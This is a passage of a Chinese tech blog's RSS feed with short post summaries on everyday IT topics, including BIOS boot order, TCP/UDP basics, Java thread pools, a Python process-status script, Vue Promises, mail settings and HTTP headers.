      <pubDate>Fri, 30 Jul 2021 09:04:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/179fa59af707ee9c63d720308a646e5e/</guid>
      <description>《中国机长》正在热映中，川航这场奇迹不是一个人的胜利，而是整个机组乘务人员专业性的体现。正如宇视科技，以“积累、总结、老实、试验”的价值观坚守精工之路，认认真真打造每一款产品，确保他们像英雄机组一样在守护安全美好生活的重要岗位上严谨服役。&#xA;《中国机长》正在热映中，川航这场奇迹不是一个人的胜利，而是整个机组乘务人员专业性的体现。正如宇视科技，以“积累、总结、老实、试验”的价值观坚守精工之路，认认真真打造每一款产品，确保他们像英雄机组一样在守护安全美好生活的重要岗位上严谨服役。&#xA;VX1648-EB是宇视为解决方案量身定制的工程商款IPSAN存储产品，具有高性能、高可靠、低功耗、大容量等特点，适用于中小型企事业、智能建筑、园区等解决方案环境。&#xA;- 性能强劲&#xA;高品质：控制器架构，关键器件热插拔，内部无线缆无干扰，散热设计好；多样化扩展应用，告别传统单一监控功能。&#xA;高可靠：采用RAID重建速度控制技术，根据系统繁忙情况自动调整重建速度；48盘位大容量，支持多种类型硬盘混插。&#xA;高性能：采用高性能的视频专用缓存算法，对cache中的数据根据LBA进行智能分析和排序，最大限度变随机流量为顺序流量，减少磁盘磨损，提高磁盘寿命。&#xA;- 多种应用模式&#xA;搭配宇视行业平台：VX1648-EB可搭配宇视行业VM3500或VM3500-E平台使用，支持第三方相机或宇视相机以国标或ONVIF形式(200路/2M)或IMOS直存(320路/2M)写入IPSAN中(回放写入比1:10，转发写入比1:1)。&#xA;搭配宇视一体机：VX1648-EB可配合一体机B200/B230/B260以主从模式来使用，一体机作为主机负责管理组网中所有设备，IPSAN作为从机负责接入组网中相机的存储并支持将存储的数据流进行转发。&#xA;搭配第三方平台：VX1648-EB可配合第三方平台使用，可以通过标准iSCSI协议对接第三方平台，用国标或ONVIF来对接存储组网中的相机。&#xA;搭配通用服务器：在通用存储领域，可以将VX1648-EB通过iSCSI挂载在第三方的应用服务器下作为本地硬盘形式使用，也可以挂载在PC机下使用，例如挂载在文件共享服务器下作为公共存储空间使用。</description>
    </item>
    <item>
      <title>hp服务器默认从硬盘启动,怎样设置启动顺序hp台式机</title>
      <link>https://bchobby.github.io/posts/6bccc69d885bdbad5cd7e0400bf70850/</link>
      <pubDate>Fri, 30 Jul 2021 06:16:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bccc69d885bdbad5cd7e0400bf70850/</guid>
      <description>有时候要想更改我们电脑的启动顺序，是U盘启动还是硬盘启动，要怎么办呢?接下来是小编为大家收集的怎样设置启动顺序hp台式机，欢迎大家阅读：&#xA;怎样设置启动顺序hp台式机&#xA;hp台式机设置启动顺序更改方法一&#xA;将u盘插入usb口，重启电脑，进入bios features setup中，将boot sequence(启动顺序)设定&#xA;为usb-zip第一。电脑重启后就会出现主菜单。 2有一个叫usboot的软件可以帮你实现从U盘启动&#xA;hp台式机设置启动顺序更改方法二&#xA;重新启动------按着Del键，这时，进入了 BIOS界面&#xA;在BIOS界面中: 第一项:Standard CMOS Features 意思是:标准CMOS设置。这些设置在下面黄字已显示出来。其中: Time 表示时间 Date表示日期 Hard Disk Type 表示硬盘参数;&#xA;如果要用光盘启动安装系统，请 用上下键选择第二项------------ Advanced BIOS Features (意思为:高级BIOS设置)。-------------- 回车确定&#xA;这时出现的页面第一项后面的红字是[ Disab led];也可能是[Enab led ]。[ Disab led]意思是:不可以。[Enab led ]意思是可以。它们之间切换的方法是:点击小键盘上的+号键或-号键。&#xA;如果要用光盘启动安装系统，请用上下键选择最后一项 Boot Sequence Press. Enter ( Press. Enter 中文意是回车)回车确定。&#xA;这时出现的页面上有三个选项:&#xA;1st Boot Device [ SATA: 3M -ST31608 ] [ SATA: 3M -ST31608] 表示硬盘启动&#xA;2nd Boot Device [ CD/DVD:PM-HP DV ][ CD/DVD:PM-HP DV ]表示光盘启动Boot ( NO ) ( NO)表示无 [SATA 3M -ST31608] 与 [ CD/DVD:PM-HP DV]之间是可以切换的，它们之间切换的方法是点击小键盘上的+号键或-号键。</description>
    </item>
    <item>
      <title>手机吃鸡语音服务器异常是怎么回事,绝地求生语音卡怎么办_绝地求生新版本语音卡解决办法介绍_游戏吧...</title>
      <link>https://bchobby.github.io/posts/00ef80e3eaa5d62caf9ea0c063da3e72/</link>
      <pubDate>Fri, 30 Jul 2021 03:13:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00ef80e3eaa5d62caf9ea0c063da3e72/</guid>
      <description>绝地求生第21轮更新后，出现了很多问题最常见的就是游戏语音出错以及无法返回大厅。今天游戏吧小编就为大家带来绝地求生新版本语音卡解决办法介绍。希望对大家有所帮助。&#xA;在21轮更新后，有小伙伴反应语音时常出现问题，语音问题可能并非蓝洞服务器问题，在最近几个月的游戏中，玩家流失后服务器减负，卡语音情况发生的越来越少。&#xA;绝地求生语音卡怎么办?&#xA;1.首先自查网络延迟&#xA;网络延迟卡顿在FPS游戏里不容易感受出来，等你感觉到卡的时候，通常已经成盒了。&#xA;所以我们要打开游戏设置，打开连接出错信息，也就是ping值显示。&#xA;接下来你可以进入游戏查看网络延迟，一般超过100的网络延迟即会造成电流麦，超过150可能就会导致语音服务器无法连接。&#xA;2.是否勾选了耳机为音频输入输出装置&#xA;可以将耳机插拔测试是否正确勾选了此项，或者更换耳机查看是否耳机麦克风出问题。&#xA;一般来说，如果麦克风正常，那么在游戏设置界面里，可以看到如图所示的麦克风回响。&#xA;注意：语音输入是自己的麦克风音量，语音输出是队友的麦克风音量。&#xA;3.查看显卡录制选项里音频是否被禁用&#xA;显卡的录制功能里有关于音频录制的选项。&#xA;这是为游戏视频创作者提供的一个选项，如果你不希望录制到自己的麦克风声音，可以把音频拉到最低，或者创建双音轨视频，如果你卡语音，发现可以听到队友语音，但是自己不能说话，可以来查看一下此项设置。&#xA;最后附送一个仅供测试用的方法，可以修复某些情况下游戏进不去，语音故障的问题。(修改DNS地址可能会导致某些网页登陆页面无法显示，如出现此情况，改回自动获取即可。)&#xA;步骤如图所示：&#xA;以上就是游戏吧小编为大家带来的绝地求生新版本里最实用功能，卡语音请先自查三点。更多精彩内容请关注游戏吧，或者搜索【游戏吧】，找到我们的网站，即可在第一时间获得最新资讯攻略。</description>
    </item>
    <item>
      <title>ThreadPoolTaskExecutor 和 ThreadPoolExecutor 的区别</title>
      <link>https://bchobby.github.io/posts/cf168e2af77b69e0030552b00e397e51/</link>
      <pubDate>Fri, 30 Jul 2021 00:18:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf168e2af77b69e0030552b00e397e51/</guid>
      <description>ThreadPoolExecutor是Java原生的线程池类，而ThreadPoolTaskExecutor是Spring推出的线程池工具&#xA;一、从核心参数看两者关系 ThreadPoolExecutor（java.util.concurrent） public ThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue&amp;lt;Runnable&amp;gt; workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) { if (corePoolSize &amp;lt; 0 || maximumPoolSize &amp;lt;= 0 || maximumPoolSize &amp;lt; corePoolSize || keepAliveTime &amp;lt; 0) throw new IllegalArgumentException(); if (workQueue == null || threadFactory == null || handler == null) throw new NullPointerException(); this.acc = System.getSecurityManager() == null ? null : AccessController.getContext(); this.corePoolSize = corePoolSize; this.maximumPoolSize = maximumPoolSize; this.workQueue = workQueue; this.</description>
    </item>
    <item>
      <title>如何在KEIL中使用MicroLIB</title>
      <link>https://bchobby.github.io/posts/c41c6d691974c2a09fad1689d00e51c2/</link>
      <pubDate>Thu, 29 Jul 2021 22:51:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c41c6d691974c2a09fad1689d00e51c2/</guid>
      <description>MicroLIB 在keil 建立ARM的工程时其中有一项是选 use MicroLIB&#xA;microlib 是缺省 C 库的备选库。 它旨在与需要装入到极少量内存中的深层嵌入式应用程序配合使用。 这些应用程序不在操作系统中运行。&#xA;microlib 进行了高度优化以使代码变得很小。 它的功能比缺省 C 库少，并且根本不具备某些 ISO C 特性。 某些库函数的运行速度也比较慢，例如，memcpy()。&#xA;与缺省 C 库之间的差异&#xA;microlib 与缺省 C 库之间的主要差异是：&#xA;microlib 不符合 ISO C 库标准。 不支持某些 ISO 特性，并且其他特性具有的功能也较少。&#xA;microlib 不符合 IEEE 754 二进制浮点算法标准。&#xA;microlib 进行了高度优化以使代码变得很小。&#xA;无法对区域设置进行配置。 缺省 C 区域设置是唯一可用的区域设置。&#xA;不能将 main() 声明为使用参数，并且不能返回内容。&#xA;不支持 stdio，但未缓冲的 stdin、stdout 和 stderr 除外。&#xA;microlib 对 C99 函数提供有限的支持。&#xA;microlib 不支持操作系统函数。&#xA;microlib 不支持与位置无关的代码。&#xA;microlib 不提供互斥锁来防止非线程安全的代码。&#xA;microlib 不支持宽字符或多字节字符串。&#xA;与 stdlib 不同，microlib 不支持可选择的单或双区内存模型。microlib 只提供双区内存模型，即单独的堆栈和堆区。</description>
    </item>
    <item>
      <title>初识TCP</title>
      <link>https://bchobby.github.io/posts/b3d34c19e69563c75a5aca7ee42a8a39/</link>
      <pubDate>Thu, 29 Jul 2021 21:58:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3d34c19e69563c75a5aca7ee42a8a39/</guid>
      <description>TCP -- Transmission Control Protocol 可靠性TCP报头确认应答(ACK)机制超时重传连接管理机制TCP状态转移图三次握手四次挥手TIME_WAIT状态 流量控制拥塞控制TCP细节优化快重传延迟应答捎带应答 面向字节流TCP异常情况 TCP协议和UDP协议是运行在传输层的协议，也是为了结局进程间通信的问题，它相对于UDP协议而言，是一种有连接的，可靠的协议。 可靠性 为什么需要可靠性？&#xA;因为网络的不可靠，而应用层很多时候需要可靠的传输（核心）&#xA;什么是可靠性？&#xA;尽可能的吧数据发送给对方，不丢包如果实在发送不到，至少通知应用层这个错误保证数据的有序到达TCP保证不会收的错误的数据（只能保证无意识的错误，不能防范有意识的篡改） TCP报头 确认应答(ACK)机制 简单理解，可以理解为TCP发送的数据是有编号的，当接收方收到数据后，有责任进行应答，将期待下一次收到的数据的第一个编号发送回来&#xA;例：&#xA;TCP(Segment）既可以当发送使用，也可以当应答使用，互相不冲突&#xA;标志位上的ACK就是含有应答的意义（==1是应答，==0不是应答，ASN无效）&#xA;超时重传 如果长时间未收到应答，可能发生什么？&#xA;数据包可能丢了，对方没有收到。对方应答了，但应答包丢失 如果超过一定的时间，仍未收到对应应答，则将对应的数据重新进行发送&#xA;如果是应答包丢失的情况下，再次发送数据过去，接收方是否可以判断？&#xA;可以，TCP内部管理着接收数据的序号，TCP段带有序号&#xA;接下来，接收端会将数据丢弃，然后发送应答&#xA;如果超时重传后还是没有收到应答怎么办？&#xA;多次尝试（有限次数）&#xA;1、多次尝试（retry）过程中，超时时间往往越来越长&#xA;2、当多次尝试不成功，达到一定阈值时，就会停止发送，同时还会发一个Segment的充值链接，同时通知应用层，（java中会收到一个异常——SocketException：reset by remote peer）&#xA;数据编号 + 确认应答 + 超时重传 可以使得数据有序&#xA;连接管理机制 为什么需要建立连接？至少能证明对方是在线的。&#xA;在正常情况下，TCP都要经过三次握手建立连接，四次挥手断开连接&#xA;有了连接管理后，就只能一对一通信了，没办法广播了。&#xA;TCP状态转移图 三次握手 SYN是用作TCP段同步的意义&#xA;首先由主动连接方发起一个 SYN，别连接方收到会回复一个ACK，然后被连接方也会发送一个SYN，连接方收到回复ACK&#xA;如图：&#xA;也可以理解为：&#xA;第一次握手： A给B打电话说，你可以听到我说话吗？&#xA;第二次握手： B收到了A的信息，然后对A说： 我可以听得到你说话啊，你能听得到我说话吗？&#xA;第三次握手： A收到了B的信息，然后说可以的，我要给你发信息啦！&#xA;在三次握手之后，A和B都能确定这么一件事： 我说的话，你能听到； 你说的话，我也能听到。 这样，就可以开始正常通信了。&#xA;如果两次，那么B无法确定B的信息A是否能收到，所以如果B先说话，可能后面的A都收不到，会出现问题 。&#xA;如果四次，那么就造成了浪费，因为在三次结束之后，就已经可以保证A可以给B发信息，A可以收到B的信息； B可以给A发信息，B可以收到A的信息。&#xA;四次挥手 当需要释放连接的时候，至少由一方主动发起，&#xA;主动关闭方发送FIN，被关闭方发送ACK，被关闭方发送FIN，主动关闭方发送ACK</description>
    </item>
    <item>
      <title>web服务器运行状态,通过web端启动关闭服务器程序以及检测程序运行状态</title>
      <link>https://bchobby.github.io/posts/30da38e6fc1485068bb21c773a834b95/</link>
      <pubDate>Thu, 29 Jul 2021 21:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30da38e6fc1485068bb21c773a834b95/</guid>
      <description>#web端检测服务器程序运行，启动服务器程序，关闭服务器程序&#xA;import os&#xA;import sys&#xA;import time&#xA;import win32com.client&#xA;def check_exsit(process_name):&#xA;WMI = win32com.client.GetObject(&#39;winmgmts:&#39;)&#xA;processCodeCov = WMI.ExecQuery(&#39;select * from Win32_Process where Name like &#34;%{}%&#34;&#39;.format(process_name))&#xA;if len(processCodeCov) &amp;gt; 0:&#xA;return True&#xA;else:&#xA;return False&#xA;def game_status():&#xA;examples = [&#34;RSConsole.exe&#34;, &#34;CSConsole.exe&#34;, &#34;GSConsole.exe&#34;]&#xA;for example in examples :&#xA;res = check_exsit(example)&#xA;if not res :&#xA;return False&#xA;return True&#xA;def game_stop():&#xA;examples = [&#34;RSConsole.exe&#34;, &#34;GSConsole.exe&#34;, &#34;CSConsole.exe&#34;]&#xA;for example in examples :&#xA;res = check_exsit(example)</description>
    </item>
    <item>
      <title>打印服务器自定义纸张重启不见,Win7系统下打印机添加了自定义的纸张却找不到怎么解决...</title>
      <link>https://bchobby.github.io/posts/e6dae7bc42be1888e5107708478cb0af/</link>
      <pubDate>Thu, 29 Jul 2021 21:03:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6dae7bc42be1888e5107708478cb0af/</guid>
      <description>打印机是许多办公室人员经常会用到的设备，而当我们在打印一些特殊尺寸的纸张时，通常需要自己添加自定义的纸张尺寸，但是有些win7系统用户发现在打印机添加了自定义的纸张却找不到了，该怎么办呢，接下来随win7之家小编一起来看看Win7系统下打印机添加了自定义的纸张却找不到的具体解决方法吧。&#xA;方法一：&#xA;1、首先在打印选择纸张之小时，点击其它试试，看有没有自定义的纸张大小；&#xA;方法二：&#xA;不同的打印机驱动程序支持的纸张宽度和高度都是有范围，如果设置的纸张格式不在驱动支持范围之内，或者没有设为默认打印机和共享打印没有在主机端设置都会造成定义的纸张规格找不到的问题，所以这里小编建议更换一个驱动版本试试。&#xA;方法三：在打印机里添加自定义纸张大小&#xA;1、右键点击打印机右键选择打印机首选项；&#xA;2、在文档尺寸中 选择用户自定义；&#xA;3、然后设置纸张大小，名称，点击保存就可以了~ 并在打印机首选项是设置该纸张大小即可。&#xA;以上就是关于Win7系统下打印机添加了自定义的纸张却找不到怎么解决的全部内容，有碰到同样情况的用户们可以采取上面的方法来操作即可，跟多精彩内容欢迎继续关注最新win7系统下载站。&#xA;我要分享到：</description>
    </item>
    <item>
      <title>180天Linux小白到大神-Linux网络管理</title>
      <link>https://bchobby.github.io/posts/020364588e613579df5f2c0da252352b/</link>
      <pubDate>Thu, 29 Jul 2021 20:49:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/020364588e613579df5f2c0da252352b/</guid>
      <description>15 Linux网络管理&#xA;15 Linux网络管理&#xA;1.网络基本概述&#xA;1.1 为何需要网络&#xA;1.2 什么是网络&#xA;2.互联网通讯协议&#xA;2.1 物理层&#xA;2.2 数据链路层&#xA;2.3 网络层&#xA;2.4 传输层&#xA;2.5 应用层&#xA;2.6 OSI总结&#xA;3.TCP协议&#xA;3.1 三次握手&#xA;3.2 四次挥手&#xA;3.3 转换状态&#xA;3.4 UDP协议&#xA;4.网络配置&#xA;4.1 查询网络信息&#xA;4.2 修改网卡名称&#xA;4.3 配置网络地址&#xA;4.3.1 nmcli查看网络状态&#xA;4.3.2 nmcli配置IP地址&#xA;4.3.2 nmcli修改IP地址&#xA;4.3.3 nmcli管理配置文件&#xA;5.网卡绑定&#xA;5.1 配置round-robin&#xA;5.1.1 eth0网卡配置&#xA;5.1.2 eth1网卡配置&#xA;5.1.3 bond网卡配置&#xA;5.1.4 bond状态检查&#xA;5.1.5 bond网卡删除&#xA;5.2 配置active-backup&#xA;5.2.1 eth0 网卡配置&#xA;5.2.2 eth1 网卡配置&#xA;5.2.3 bond 网卡配置</description>
    </item>
    <item>
      <title>ROS1结合自动驾驶数据集Kitti开发教程(一)Kitti资料介绍和可视化</title>
      <link>https://bchobby.github.io/posts/574a71b3250ba5871d06d1c9765b43db/</link>
      <pubDate>Thu, 29 Jul 2021 20:47:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/574a71b3250ba5871d06d1c9765b43db/</guid>
      <description>注意：&#xA;再学习本系列教程时，应该已经安装过ROS了并且需要有一些ROS的基本知识 ubuntu版本：20.04&#xA;webots版本：2021a&#xA;ros版本：noetic&#xA;前言 自动驾驶是我的一个非常有意思的研究方向，我会在以后的时间里更新有关自动驾驶方向的知识。而这系列教程通过ROS和KITTI数据集实现一个自动驾驶感知功能。&#xA;如果想要训练自动驾驶的感知功能，必须要有一个强大的数据集才能实现。KITTI就是这么一个在2012年发表的强大的自动驾驶资料库。&#xA;1.Kitti数据集概述 KITTI数据集由德国卡尔斯鲁厄理工学院和丰田美国技术研究院联合创办，是目前国际上最大的自动驾驶场景下的计算机视觉算法评测数据集。该数据集用于评测立体图像(stereo)，光流(optical flow)，视觉测距(visual odometry)，3D物体检测(object detection)和3D跟踪(tracking)等计算机视觉技术在车载环境下的性能。KITTI包含市区、乡村和高速公路等场景采集的真实图像数据，每张图像中最多达15辆车和30个行人，还有各种程度的遮挡与截断。整个数据集由389对立体图像和光流图，39.2 km视觉测距序列以及超过200k 3D标注物体的图像组成，以10Hz的频率采样及同步。总体上看，原始数据集被分类为Road, City, Residential, Campus 和 Person。对于3D物体检测，label细分为car,van,truck,pedestrian,pedestrian(sitting),cyclist,tram以及misc组成。&#xA;KITTI数据集官网&#xA;2.Kitti数据采集平台 KITTI数据集的数据采集平台装配有两个灰度摄像机，两个彩色摄像机，一个Velodyne 64线3D激光雷达，4个光学镜头，一个GPS导航系统和一个IMU惯性传感器。设备装配图如下所示：&#xA;1 Inertial Navigation System (GPS/IMU): OXTS RT 3003&#xA;1 Laserscanner: Velodyne HDL-64E&#xA;2 Grayscale cameras, 1.4 Megapixels: Point Grey Flea 2 (FL2-14S3M-C)&#xA;2 Color cameras, 1.4 Megapixels: Point Grey Flea 2 (FL2-14S3C-C)&#xA;4 Varifocal lenses, 4-8 mm: Edmund Optics NT59-917&#xA;传感器的配置平面图如下所示。为了生成双目立体图像，相同类型的摄像头相隔54cm安装。由于彩色摄像机的分辨率和对比度不是很好，所以还使用了两个立体灰度相机，它和彩色相机相距6cm安装。为了方便传感器数据标定，规定坐标系方向如下所示：&#xA;3.下载数据集 数据集官网下载地址&#xA;首先进入raw_data界面，找到名为2011_09_26_drive_0005的数据集，分别通过synced+rectified data和calibration下载同步和修正的数据集和传感器校准文件，文件如下所示：</description>
    </item>
    <item>
      <title>Vue.js 学习笔记十四：Promise 之 return 的函数返回值</title>
      <link>https://bchobby.github.io/posts/33ae3f19b2b16f0e75bc54e0e4f9d6b0/</link>
      <pubDate>Thu, 29 Jul 2021 18:09:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33ae3f19b2b16f0e75bc54e0e4f9d6b0/</guid>
      <description>目录&#xA;return 的函数返回值&#xA;return 的函数返回值 return 后面的返回值，有两种情况：&#xA;返回 Promise 实例对象。返回的该实例对象会调用下一个 then。&#xA;返回普通值。返回的普通值会直接传递给下一个 then，通过 then 参数中函数的参数接收该值。&#xA;返回 Promise 实例对象&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;返回 Promise 实例对象&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; /* 基于Promise发送Ajax请求 */ const queryData = url =&amp;gt; { let promise = new Promise((resolve, reject) =&amp;gt; { let xhr = new XMLHttpRequest() xhr.onreadystatechange = () =&amp;gt; { if (xhr.readyState != 4) { return } if (xhr.readyState == 4 &amp;amp;&amp;amp; xhr.</description>
    </item>
    <item>
      <title>运维人员可以远程登录服务器,一个运维人员能同时管理100&#43;服务器吗？</title>
      <link>https://bchobby.github.io/posts/8d8cb19c140a1082421be35f4c17153f/</link>
      <pubDate>Thu, 29 Jul 2021 17:12:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d8cb19c140a1082421be35f4c17153f/</guid>
      <description>学会利用工具，是一个优秀的运维要做的事情。&#xA;像这种有多个服务器需要管理维护的，我建议可以使用集群式服务器运维管理工具，这类工具就可以添加管理多个服务器，像现在网上比较受欢迎的有宝塔、云帮手这些。&#xA;下面小编以云帮手为例为大家详细说明利用管理面板如何批量管理服务器&#xA;第一步：安装PC客户端管理软件&#xA;下载PC客户端&#xA;安装PC客户端&#xA;启动PC客户端，登录帐号&#xA;第二步：添加云服务器&#xA;点击添加服务器&#xA;输入待添加的云服务器公网IP地址，点击下一步&#xA;选择Windows 系统或 Linux系统&#xA;复制脚本，远程安装探针端&#xA;使用远程管理工具登录远程服务器，并使用管理员身份执行探针端安装操作！&#xA;Windows Server操作系统：&#xA;开始菜单-&amp;gt;运行-&amp;gt;输入cmd命令，并以管理员身份运行cmd程序，打开命令提示符后，将复制的脚本粘贴到命令提示符中执行脚本&#xA;Linux Server操作系统：&#xA;Linux系统请以管理员身份登录到服务器，将复制的文本粘贴到系统中执行&#xA;5.添加完成&#xA;云帮手管理面板除了可以远程批量管理多台服务器之外，像安全巡检、资源监控、环境部署等这些功能都有，而且简单易操作，最重要的是对服务器的数量没有限制。</description>
    </item>
    <item>
      <title>初识UDP协议</title>
      <link>https://bchobby.github.io/posts/7f66f3f06ab0032d9645c275be04c016/</link>
      <pubDate>Thu, 29 Jul 2021 15:48:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f66f3f06ab0032d9645c275be04c016/</guid>
      <description>UDP协议 UDP格式UDP特点不可靠无连接可以广播面向数据报性能相对高 UDP的缓冲区 UDP是在传输层上工作的协议 传输层协议：是在主机已经可以和主机建立链接的前提下，实现进程和进程间的通信。 UDP格式 UDP协议：&#xA;16位UDP长度，表示整个数据报(UDP首部+UDP数据)的最大长度&#xA;如果校验和出错，就会直接被丢弃&#xA;校验和：CRC算法 ——&amp;gt;Hash算法&#xA;可以判断出数据是否被修改&#xA;UDP协议首部有一个16位的最大长度，也就是说，一个UDP能传输的最大长度是64K（包含UDP首部）&#xA;如果需要传输的数据大于64k，那么就需要在应用层手动分包，多次发送，并且在接收端手动拼装。&#xA;UDP特点 UDP的特点是相对于TCP协议来说的：&#xA;不可靠、无连接、面向数据报、性能相对高、可以广播&#xA;不可靠 基于网络环境中的一些因素——不可靠&#xA;1、任何数据在经过网络传输的过程中都可能丢包；UDP也会进行丢包（不会通知应用层）——UDP不可靠&#xA;2、IP包会走不同的路，所以无法保证先发的包一定先到达 （无序）——UDP不可靠&#xA;无连接 应用层让发送就立即发送，不用管对方准没准备好接收 —— 无连接&#xA;可以广播 UDP可以进行广播——类比为群发邮件&#xA;面向数据报 应用层发送的多大的数据，这份数据会完整的装到UDP中发送，不会分包 —— 面向数据报&#xA;性能相对高 相对而言，UDP相对性能高&#xA;UDP的缓冲区 UDP没有真正意义上的发送缓冲区，当调用send的时候，会直接交给内核，然后发送。&#xA;UDP有接收缓冲区，但是不能保证收到的UDP数据报的顺序和发送UDP的顺序一致，如果缓冲区满了，再到达的UDP数据就会被丢弃。</description>
    </item>
    <item>
      <title>苹果ipad邮箱找不到服务器,ipad怎么设置qq邮箱？苹果ipad qq邮箱设置教程</title>
      <link>https://bchobby.github.io/posts/bf542ce7243e6d0ac15b09310a447a9f/</link>
      <pubDate>Thu, 29 Jul 2021 14:59:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf542ce7243e6d0ac15b09310a447a9f/</guid>
      <description>ipad qq邮箱设置教程大家可以通过下文来了解， 小编胖胖将会演示ipad怎么设置qq邮箱，设置成功之后我们就能通过iPad来接收QQ邮箱收到的邮件，快来操作吧~&#xA;下文是以iPhone设置QQ邮箱为例，和iPad步骤是一样的哦，首先进入“Mail”，点击“其他”，新建一个邮件帐户，输入您邮箱的完整地址，点击“存储”。&#xA;小技巧：点击存储后，iPhone会自动将相关设置补充完整，如果您想手动进行配置(例如换用IMAP协议，或者修改服务器地址)，可故意输入一个错误的密码，验证密码失败后就进入了手动设置页面。&#xA;默认情况下，iphone/ipod touch会以POP协议进行收取邮件，POP方式的设置如下所示：&#xA;收信服务器：pop.qq.com&#xA;发信服务器：smtp.qq.com&#xA;如果您希望使用IMAP协议来进行收取邮件，请在页面上方选择“IMAP”标签，然后将服务器设置如下：&#xA;收信服务器：imap.qq.com&#xA;发信服务器：smtp.qq.com&#xA;如果您还想进行更多的设置，请进入“设置” – “邮件”，如下图，勾选SSL方式进行连接;如果使用POP协议，端口号为995，如果是IMAP协议，则为993 。&#xA;此外，建议您通过设置将iPhone上的文件夹与邮箱中的文件夹对应起来，如图“邮箱行为”：&#xA;ipad qq邮箱设置的步骤就是以上这些，快去设置吧~</description>
    </item>
    <item>
      <title>HTTP 请求方法，响应头信息，状态码</title>
      <link>https://bchobby.github.io/posts/cde3ca53d16f4c54586b2fc7534d53d9/</link>
      <pubDate>Thu, 29 Jul 2021 13:16:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cde3ca53d16f4c54586b2fc7534d53d9/</guid>
      <description>HTTP 请求方法 根据 HTTP 标准，HTTP 请求可以使用多种请求方法。&#xA;HTTP1.0 定义了三种请求方法： GET, POST 和 HEAD方法。&#xA;HTTP1.1 新增了六种请求方法：OPTIONS、PUT、PATCH、DELETE、TRACE 和 CONNECT 方法。&#xA;#方法描述1GET请求指定的页面信息，并返回实体主体。2HEAD类似于 GET 请求，只不过返回的响应中没有具体的内容，用于获取报头3POST向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。4PUT从客户端向服务器传送的数据取代指定的文档的内容。5DELETE请求服务器删除指定的页面。6CONNECTHTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器。7OPTIONS允许客户端查看服务器的性能。8TRACE回显服务器收到的请求，主要用于测试或诊断。9PATCH是对 PUT 方法的补充，用来对已知资源进行局部更新 。 HTTP 响应头信息 HTTP请求头提供了关于请求，响应或者其他的发送实体的信息。&#xA;在本章节中我们将具体来介绍HTTP响应头信息。&#xA;应答头说明Allow 服务器支持哪些请求方法（如GET、POST等）。&#xA;Content-Encoding 文档的编码（Encode）方法。只有在解码之后才可以得到Content-Type头指定的内容类型。利用gzip压缩文档能够显著地减少HTML文档的下载时间。Java的GZIPOutputStream可以很方便地进行gzip压缩，但只有Unix上的Netscape和Windows上的IE 4、IE 5才支持它。因此，Servlet应该通过查看Accept-Encoding头（即request.getHeader(&#34;Accept-Encoding&#34;)）检查浏览器是否支持gzip，为支持gzip的浏览器返回经gzip压缩的HTML页面，为其他浏览器返回普通页面。&#xA;Content-Length 表示内容长度。只有当浏览器使用持久HTTP连接时才需要这个数据。如果你想要利用持久连接的优势，可以把输出文档写入 ByteArrayOutputStream，完成后查看其大小，然后把该值放入Content-Length头，最后通过byteArrayStream.writeTo(response.getOutputStream()发送内容。&#xA;Content-Type 表示后面的文档属于什么MIME类型。Servlet默认为text/plain，但通常需要显式地指定为text/html。由于经常要设置Content-Type，因此HttpServletResponse提供了一个专用的方法setContentType。&#xA;Date 当前的GMT时间。你可以用setDateHeader来设置这个头以避免转换时间格式的麻烦。&#xA;Expires 应该在什么时候认为文档已经过期，从而不再缓存它？&#xA;Last-Modified 文档的最后改动时间。客户可以通过If-Modified-Since请求头提供一个日期，该请求将被视为一个条件GET，只有改动时间迟于指定时间的文档才会返回，否则返回一个304（Not Modified）状态。Last-Modified也可用setDateHeader方法来设置。&#xA;Location 表示客户应当到哪里去提取文档。Location通常不是直接设置的，而是通过HttpServletResponse的sendRedirect方法，该方法同时设置状态代码为302。&#xA;Refresh 表示浏览器应该在多少时间之后刷新文档，以秒计。除了刷新当前文档之外，你还可以通过setHeader(&#34;Refresh&#34;, &#34;5; URL=http://host/path&#34;)让浏览器读取指定的页面。&#xA;注意这种功能通常是通过设置HTML页面HEAD区的＜META HTTP-EQUIV=&#34;Refresh&#34; CONTENT=&#34;5;URL=http://host/path&#34;＞实现，这是因为，自动刷新或重定向对于那些不能使用CGI或Servlet的HTML编写者十分重要。但是，对于Servlet来说，直接设置Refresh头更加方便。&#xA;注意Refresh的意义是&#34;N秒之后刷新本页面或访问指定页面&#34;，而不是&#34;每隔N秒刷新本页面或访问指定页面&#34;。因此，连续刷新要求每次都发送一个Refresh头，而发送204状态代码则可以阻止浏览器继续刷新，不管是使用Refresh头还是＜META HTTP-EQUIV=&#34;Refresh&#34; ...＞。&#xA;注意Refresh头不属于HTTP 1.1正式规范的一部分，而是一个扩展，但Netscape和IE都支持它。&#xA;Server 服务器名字。Servlet一般不设置这个值，而是由Web服务器自己设置。&#xA;Set-Cookie 设置和页面关联的Cookie。Servlet不应使用response.setHeader(&#34;Set-Cookie&#34;, ...)，而是应使用HttpServletResponse提供的专用方法addCookie。参见下文有关Cookie设置的讨论。&#xA;WWW-Authenticate 